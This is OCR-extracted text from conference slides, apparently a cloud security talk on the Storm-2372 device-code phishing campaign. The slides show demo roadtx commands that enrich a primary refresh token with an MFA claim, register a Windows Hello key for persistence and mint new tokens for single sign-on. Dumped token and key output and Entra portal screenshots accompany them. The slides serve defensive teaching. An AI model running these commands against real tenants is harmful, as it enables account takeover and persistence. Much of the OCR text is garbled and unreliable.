LB2bpzqA78A735Y1kRs1dTCO6cjKrdoVGCFdwdlUoEYtlatyIvUVvI1R2rCstMSZ03pbu-PdBtsmcdX6lrIHbgju2aw)45Km7DHBBN _dkY3yTBRMjBZ8RTSp86VIby3k6BELBfghohpMZ]-kmA

Obtained session key: 4d394f005dal38f9308639652d7f31f3b74d4623909dcae2c458b088ecl1336FF

Saved PRT to roadtx.prt
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Device Registration

Use PRT to access resources (SSO) via APl or Console

Abuse Register new WHFB user key for persistence

B R A R R S A A I R R R R R S A
# 4.1. Enrich PRT with NGC MFA claim (time limit to avoid re-MFA)

# Get new tokens

rdededododidododod oo oo dod bbb e oo idedod i ididododod o Fo o dodod e dod b o Fo ok boded g o e bdedod oS dododod oo g odod i Fod o g o Frdrb bt b g i g b b o o

roadtx prtenrich --ngcmfa-drs-auth [Y/n]:
Tokens were written to .roadtools_auth

W A A A At R A A At i A A A A A A R A A A A R S A R
# 4.2. Register/retrieve new Windows Hello key (persistence)
B R R R R B R R R R R R R R

roadtx winhello -k area4l_hello.key [Y/n]:

Saving private key to area4l_hello.key

{'kid': 'b3953364-1e58-48ed-8597-45173ad31104', 'upn': 'merlin@cloudy-daze.com', 'krctx': 'eylEYXRhIjoiWlhsS2FHSkhZMmxQYVVwWVFZYcEpN\
SR1JHVVd@OVk1sSkZSallQVkVKRVRsULZORTUZWXpOUZEwWkVUakISTkU1VVdUV1BWYmw2ZVFhwU1IWS1VhMZxSTUZWcFRFTktNR1ZZUVdsUGFVcExWakZSYVV4RFNgUk9XRk:
V13YUdOWUBwcEpUV3RhYUZkcWFEWLASMVpSWTNwUmFXWL IMbVY1U210YVdGcHAXVEpXYBZWRFNUWkpiVVYzVFdwV2FFMVhVVEJNVjFrelREtMUSKRTVIULhoTmFUQTFXa2RW1
aZVVselNXNVNjRnBEU1RaSmIWa3pXWHByTUUSVVFYbE1WRVpwVGS5wcmRFNUhUVEZQVXpBMVRgSkpla3hVV1lhsT1ZFRjZXVmRKTWs1SFZURKS1VWx6UlcwMWIsa3hPWEphV«
WxGV1VrS1IWVVpDVVZWR1IsR1ZSa@pSV1VaQlVWVkdRbEZWUmtKULZVWLNVVLZKZDASRVp e TmxWVFZHVXpCMF At TXhXbGhXUBZGN1YWUkNXazR3T1ZCV@1XU;jZVWHBKZDF J¢
Fd11tMXdNRkpxYkhKaE@xWnZVMmwwV2sxdF dgWmpNbXhhVm@1V@SGR1 1LWWFprVmtKMFkyMTRXRNBXWkd@VFIyaE9WVIRXTmxSSFIuVINTRWwW2WVhsekSWTjZXbESrYWxKR1¢
mVIZGxhe lEwVZ2pCSmQwMX1Xa@5QV1U1Q1dXdDB1LR1ZxYkVwU1dGb31XbTVhTTFOSWIGVmx1Vkol1VKRBMVNWVkKZNVVISVKZKQ1lpXc3dkMDLYZEVsVWVrSjFUVEL4Y jIONLZ r}
ERmtkMUpWVLRGT1ZGS1VZMGhXTTINemJET1BSRXAxWkZaVk5XVnVUbF JgqUjNkNFkwUkNSMkZFU1RCa2JrNTRVako®TmsSWVFUSmhiRnAIWVdwS1VsV1hTbUZXYTNoV1Z tMW
WpNbkIzVG@xU2QxZELRbHBhUkU1U11USINVV1ZzU25wU1ZHaHFXalZrUWxsV1JURTRXRWt4V2xkSmVHULZVbESpUml4TFpFVINjbVZWTLdGVELIVWjBXbXBLYTFwNWMzaE9Vh
1bEp@UmtoWk1luQjBUbGhLVUAWAGFETmLibWhMVTI®S1Zrc310RFZqUOd4MlpHeEZPYVKkIUULhOSmIsWINZbWxKTmtsdE1XeGpiWGh3WW10Q2FtSkhPVEZhUBd@MFdrZEdObHE
1VeVGtSTkSVMXFSVES0VkZselNXMVAORBSEUIRaTLZHTXdUWHBYZVUxcWEzaE9QhWGRWWYZKRA1FbHF iMZhPZWxGN1QxUkplRTUZULRKTVEwWcHdZek50YVUScFNrS1NSa3BVL
@TVhwTVYxS jVZM3BZ2TUUXNLVrV1NhbEpDVDFNd2VsRXdXWGxNVkZKRVRWVLIkRT1VULROULIVEQjVVVEISZVZGcVkzbFNhbFY@VGXWRmFXWLIMbEY@Tm1GUFh5MVZ jbF JyTmé
URSaGMxS11aVV14Y3kxUlpWcFd1R3d3WDE5cmNuRLThOVWhLTW1KaFRrOUSMV2d3W1 c@OMZVURTNLbUSpUmxGSmIHMUpibHBSZEVNGNrbEdjMD1hZG5aaV IXWkpNVUSwYURac
4bWFGYzIXWGglZHpkaVpYaGtXbTg@TOhSTFZXMHLhRXB2UkZsUVdtNTVWMOpVUW10SVowTLFLRFZ5VTNoRFZWRTViaZ2RvY1VwWMGIHaELXSFkwWWtSc@9VULIOM;j1OVFVaYVy
1ZrMWIVSEIRTKRRNGIydG9aakZqZWOSWVEzRKNTMBZxT1VKcGVuS1BkalFOVVRWMFpuTnNOMEp3WmwSaGVgVkd jROSXWmxwWE9ITmt jR1IxY1LhOaWIuQmZ0amgBZFclclRus
YZDFLRWRYVOYSbkS5sTnpNSEZ4Y1VSSVpGbGFNWGN@ZHpaTEAVSNRZbX gxWDNOULNsYmxadz@9IiwiRmOybWFOI joxLCIWZXIzaW9ul jox fQ=="



Device Registration

Use PRT to access resources (SSO) via APl or Console

Abuse * Register new WHFB user key for persistence

* Create new PRTs

R R R R R R R R R R
# 4.3. Create new PRT key (test new WHFB key)
R R R R R R R R R R R R

roadtx prt -a request -hk ./area4l_hello.key -k ./area4l.key -c ./area4l.pem -u merlin@cloudy-daze.com [Y/n]:

Obtained PRT: 1.AUYAAknJ]93kbWUyXs2]QOrZOU4c7qjhtoBdIsnVeMWmI2TtGACNGAA .AgABAWEAAABVrSpeuNamRam2 jAF1XRQEAwWDs_wUA9P_4BJzKZBpA_8V@ob6.
1ZGJ3_7ebVbKOpKIRuSVUGA-8LULMtVmj_jKyjmNhTCepNplUJJaoP4PH1_iH4kCTDyMrnVwcZD@OB10B jGY-MIVAOZ7VXXMd5K8Y1ijHAOOZhNby1itwbHGZy-qYdXAanb82,
SyJvlrexEZfU6-1Hgp2bYqCNDmoj_NSptVfp@CC8LZQANh_201v_Rdb_-xFH1ZpvG24csqpyi1UjyhyHe@K1LxKTaBdhIxZtuDA8VS3SqpORSpNHVflcSzUzduiSIg21HM.
9ExjOEcMuw4IcUssccI3MsNfhej8oa9rES5uzywUAvetMDLBAfGAjotU_VmgcSPsAQO-mVjI2WASpT7SyvguTfmSbgr0S8CvmSnEGR81J0-4QUohGPYrDvf1lnI2M50mFel,
quUYxYIJuBOmZwg3Y89FkgoytbwV_QX-PlcUcGScV-G01o0e82D8HxYysiXiRf6PeCDXFDyKCKUWXYALb_G_K@YgZrbjmlda-g_Rp4ABIFObT_4LYpFytBDc2Dzq4Zt63
7q2Q0Sa6bR2UgEUfAqI81I4fTIJrmFclrSacDIFeSA7cK7hjeM-Ui1EugZLRENEN1Wvwnbmgrl51vrBdIxqe@4GZrDIXte1tSfHzFP8RLphY-wbSRWgP-61gWariNU8S2nP 5!
00KgvENuUNDcVtKe0cz71kZtFudc20S2TU2z1xyL1VLRS64PLbqyK1s9hGehLaQRnebM764yvuGXZjbLxJu4ajRzVn@371Lpby_4j5uarAvbb7gBNUyk1PuwNL_HaNDMvD
0gqImZCChZ

Obtained session key: 6871007925d4251328237e1676cb5e778b62b34ef90819abd84dcec9859b4c17?

Saved PRT to roadtx.prt

e e
# 4.4, Access browser login with new PRT
R A A A A A

roadtx browserprtauth -url https://outlook.office.com [Y/n]:
Browser window was closed by the user
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Access and Persistence o

DeVice Reg iStration * Use PRT to access resources (SSO) via API or Console
Abuse Azure

Microsoft Azure L Search resources, services, and docs (G+/) @ Copilot @ €f§3 @ ,@

Home > Cloudy Daze | Devices > Devices

[ Devices | All devices

Cloudy Daze - Microsoft Entra ID

X « i Download devices O Refresh @ Manage view v Enable ® Disable ]E Delete £33 Manage & Preview features ,O\'_vl Got feedh
@ Overview
L Search by name or device ID or object ID N7 Add filters
LT All devices
> M 1 device found
anage
> Activity D Name 1. Enabled  OS Version Join type Owner MDM

> Troubleshooting + Support [ D m attacker-host @ Yes Windows 10.0.19041.928 Microsoft Entra reg... Merlin None ]




Access and Persistence >
* Use PRT to access resources (SSO) via APl or Console

Device Registration

Abuse Azure

Merlin | Authentication methods - X
User
‘ £ Search | X« <+ Add authentication method P Reset password 6 Require re-register multifactor authentication ® Revoke multifactor authentication sessions
&4 Overview Authentication methods are the ways users sign into Microsoft Entra ID and perform self-service password reset (SSPR). The user's
) “default sign-in method" is the first one shown to the user when they are required to authenticate with a second factor - the user
& Auditlogs always can choose another registered, enabled authentication method to authenticate with. Learn more
3) Sign-in logs
Default sign-in method (Preview) O OATH TOTP one-time code &
7 Diagnose and solve problems
Usable authentication methods
=] Custom security attributes
4. Assigned roles Authentication method Detail
i3 Administrative units Primary mobile: +° e
45 Groups vee
52 Applications e
4 Licenses
[J Devices
Authentication method Detail

Azure role assignments
No non-usable methods.

Q

Authentication methods

R New support request System preferred multifactor authentication method

Feature status System preferred MFA method

Enabled SoftwareOTP




Device Registration
Abuse

OAuth device
code phish

Obtain OAuth tokens >
4., Obtain OAuth 5. Refresh OAuth

token (DES) A@ @ token (DRS)

Device
Enrollment
Service (DES)

S

. fresh k
o g MlcrOSOft refresh + access tokens
Authentication
1. Initiate device Broker (MAB)

, S°°d§ f'ﬁ.""h o —— Register/join device to EntraID — Device
. Send phis . .
3. Wait for victim < SReg!Strag;g
to authorize m@ ervice ( )
device cert

o AZUIE

Token
Service

A 4

a

Primary refresh token

o ——— Access and Persistence —

* Use PRT to access resources (SSO)
* Register new WHFB user key for persistence
* Create new PRTs




	Slide 1: Braving the Storm-2372:  The Tempest Decoded  RSAC 2026 Village Series: Cloud Village January 14, 2026
	Slide 2: Storm-2372
	Slide 3: Darkening Clouds (Overview)
	Slide 4: Original Reporting
	Slide 5: Storm-2372
	Slide 6: Storm-2372 (2/14/25)
	Slide 7: Storm-2372 (2/14/25)
	Slide 8: Phishing for Primary Refresh Tokens and Windows Hello keys
	Slide 9: Phishing for Primary Refresh Tokens and Windows Hello keys
	Slide 10: Phishing for Primary Refresh Tokens and Windows Hello keys
	Slide 11: Thunderstorms (Attack)
	Slide 12: (screenshots at end)
	Slide 13: Phishing for Primary Refresh Tokens and Windows Hello keys
	Slide 14: Device Registration Abuse
	Slide 15: Partly Cloudy (Defense)
	Slide 16: Storm-2372 (2/14/25)
	Slide 17: Storm-2372 (2/14/25)
	Slide 18: Storm-2372 (2/14/25)
	Slide 19: Artifact: Device Registration
	Slide 20: Artifact: User Key
	Slide 21: Artifact: User Key
	Slide 22: Sign-in Logs
	Slide 23: Sign-in Logs
	Slide 24: Sign-in Logs
	Slide 25: Sign-in Logs
	Slide 26: Sign-in Logs
	Slide 27: Audit Logs
	Slide 28: Conditional Access Policies (CAP)
	Slide 29: Confusing Access Policies (CAP)
	Slide 30: Continuous Access Evaluation (CAE)
	Slide 31: Continuous Access Evaluation (CAE)
	Slide 32: Moving Ahead (Planning)
	Slide 33: History
	Slide 34: History
	Slide 35: Knowledge
	Slide 36: Next Steps
	Slide 37: Thank you from Cloud Village
	Slide 38: Demo (Screenshots)
	Slide 39: Device Registration Abuse
	Slide 40: Device Registration Abuse
	Slide 41: Device Registration Abuse
	Slide 42: Device Registration Abuse
	Slide 43: Device Registration Abuse
	Slide 44: Device Registration Abuse
	Slide 45: Device Registration Abuse
	Slide 46: Device Registration Abuse
	Slide 47: Device Registration Abuse
	Slide 48: Device Registration Abuse
	Slide 49: Device Registration Abuse
	Slide 50: Device Registration Abuse
	Slide 51: Device Registration Abuse
	Slide 52: Device Registration Abuse
	Slide 53: Device Registration Abuse
	Slide 54: Device Registration Abuse
	Slide 55: Device Registration Abuse
	Slide 56: Device Registration Abuse

